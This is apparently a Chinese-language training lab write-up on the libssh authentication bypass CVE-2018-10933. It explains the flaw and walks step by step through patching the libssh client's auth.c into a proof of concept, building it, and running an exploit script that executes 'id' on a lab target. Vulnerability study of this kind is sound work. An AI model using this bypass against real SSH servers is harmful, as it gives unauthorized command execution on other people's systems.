事件背景
2018-10-16 libssh发布更新公告旨在解决CVE-2018-10933的问题
libssh版本0.6及更高版本在服务端代码中具有身份验证绕过漏洞。 通过向服务端提供SSH2_MSG_USERAUTH_SUCCESS消息来代替服务端期望启动身份验证的 SSH2_MSG_USERAUTH_REQUEST消息,攻击者可以在没有任何凭据的情况下成功进行身份验证。 进而可以进行一些恶意操作。
0x01 漏洞原理
此处参考了360的文章
原文地址libssh CVE-2018-10933 身份验证绕过漏洞分析报告 - 360CERT
在libssh的example中已经存在一些server端的例子,测试环境则采用这些例子进行说明
这个漏洞能用,但目前就分析而言发现,无法很好的泛用,所以建议及时进行更新以免遭受影响
在libssh中以session的方式对会话进行处理,无论是server的建立还是client的连接。
均以
session = ssh_new();
因为这个漏洞是直接获得AUTH所以服务端的配置和客户端的连接认证方式等完全不用在意进行session建立
简单的client连接示例的部分代码,以体现逻辑为主。
首先是设置一些参数,然后利用session进行连接
然后进行knownhost认证处理,这步就是平时在进行ssh连接的时候进行提醒的是否要保存信息
if (ssh_options_set(session, SSH_OPTIONS_HOST ,host) < 0) return -1;if(ssh_connect(session)){ fprintf(stderr,"Connection failed : %s\n",ssh_get_error(session)); return -1; }state=verify_knownhost(session);if (state != 0) return -1; auth=authenticate_console(session);if(auth != SSH_AUTH_SUCCESS){ return -1; }authenticate_console(session)
的流程为先发送一个ssh_userauth_none再根据选择的AUTH方式,尝试GSSAPI、PublicKey、 Password的方式authenticate_console(session)
这里采用的patch掉client中发送密码认证的时候的数据包
将第二行的SSH2_MSG_USERAUTH_REQUEST -> SSH2_MSG_USERAUTH_SUCCESS
rc = ssh_buffer_pack(session->out_buffer, "bsssbs", SSH2_MSG_USERAUTH_SUCCESS, username ? username : session->opts.username, "ssh-connection", "password", 0, /* false */ password );
这时候的session就已经可以获得相应的权限了。通过官方的Tutorial的执行命令的例子调 用ssh_channel_request_exec进行命令执行并且需要在ssh_userauth_get_response之前直接返回,因为这一步会再次向服务端进行通 信,但此时受影响版本的server已经Authentication successful
综合渗透测试-CVE-2018-10933-libssh漏洞分析
第一步,打开网络拓扑,启动实验虚拟机,分别查看虚拟机IP地址:
Ubuntu Linux 1
Ubuntu Linux 2
第二步,libssh源代码漏洞分析,进入靶机Ubuntu Linux 2,打开终端,输入su命令切换为root用户,输入密码:root
查看并解压文件:
cd /home/yun/cve-2018-10933-libssh/source
tar xvJf libssh-0.7.5.tar.xz
第三步,进入解压后的目录:
cd libssh-0.7.5
第四步,创建build目录,并进入目录:
1)mkdir build && cd build
2)编译并安装:
cmake -DCMAKE_install_prefix=/usr -DCMAKE_BUILD_TYPE=Debug ..
3)make
第五步,修改src目录下的auth.c源文件
第六步,查找ssh_userauth_password函数
第七步,找到SSH2_MSG_USERAUTH_REQUEST
并将它替换为SSH2_MSG_USERAUTH_SUCCESS
修改后,./examples/samplessh就会成为验证该漏洞的PoC。
第八步,找到图中的两处源码,分别替换:
1)找到SSH_AUTH_STATE_NONE和SSH_PENDING_CALL_AUTH_OFFER_PUBKEY
2)将两处替换为SSH_AUTH_STATE_SUCCESS和SSH_PENDING_CALL_CONNECT
修改两处登录状态源代码,./examples/samplessh就会成为验证该漏洞的PoC。
第九步,保存退出:
按ESC键,再输入:wq,回车保存并退出
第十步,再次编译:
vim ../src/auth.c
make
第十一步,创建私钥和公钥:
ssh-keygen生成过程中会询问多个配置信息,全部点击回车,使用默认设置即可。
创建服务端公私钥,使用默认密钥存储位置 /root/.ssh/id_rsa。
第十二步,启动ssh服务端:
examples/ssh_server_fork -p 7777 127.0.0.1 -v -k /root/.ssh/id_rsa
第十三步,启动一个新的终端窗口,使用SSH客户端连接服务端:
cd /home/yun/cve-2018-10933-libssh/source/libssh-0.7.5/build
./examples/samplessh -p 7777 t1@127.0.0.1
第十四步,在服务端输出的调试信息中可以找到包类型的分派处理程序(ssh_packet_process)
根据服务端输出的调试信息,筛掉无用的日志信息,找到ssh_pack_process,分析可以看出该漏洞的利用点就是发送SSH2_MSG_USERAUTH_SUCCESS请求,从而进入ssh_packet_userauth_success函数。
第十五步,在ssh_server_fork.c文件中找到ssh_server_callbacks_struct函数,发现在服务端Demo中进行了设置
第十六步,在ssh_server_fork.c文件中找到auth_password函数
认证成功后的路径:
ssh_message_auth_reply_success ->ssh_auth_reply_success:
从源代码可以看出,在正常情况下,在SSH登录成功后,libssh给Session设置了认证成功的状态。
第十七步,关闭演示环境,调用编译后的生产环境:
1)使用Ctrl+C快捷键,结束客户端程序
2)使用Ctrl+C快捷键,结束服务端程序
3)退出到source目录,并删除刚才解压的目录:
cd ../../
rm -rf libssh-0.7.5
4)输入命令cd ..进入本次实验环境的根目录,使用docker-compose up –d命令启动漏洞环境
第十八步,通过程序发送SSH2_MSG_USERAUTH_SUCCESS消息,触发漏洞:
1) 进入攻击机渗透机Ubuntu Linux 1,打开终端,输入su命令切换为root用户,输入密码:root
2)进入libssh目录:
cd libssh/
3)使用命令利用PoC执行id命令:
python3 libssh_poc.py 172.16.10.200 2222 id
第十九步,通过libssh_poc.py中的源代码和注释,分析libssh库的利用原理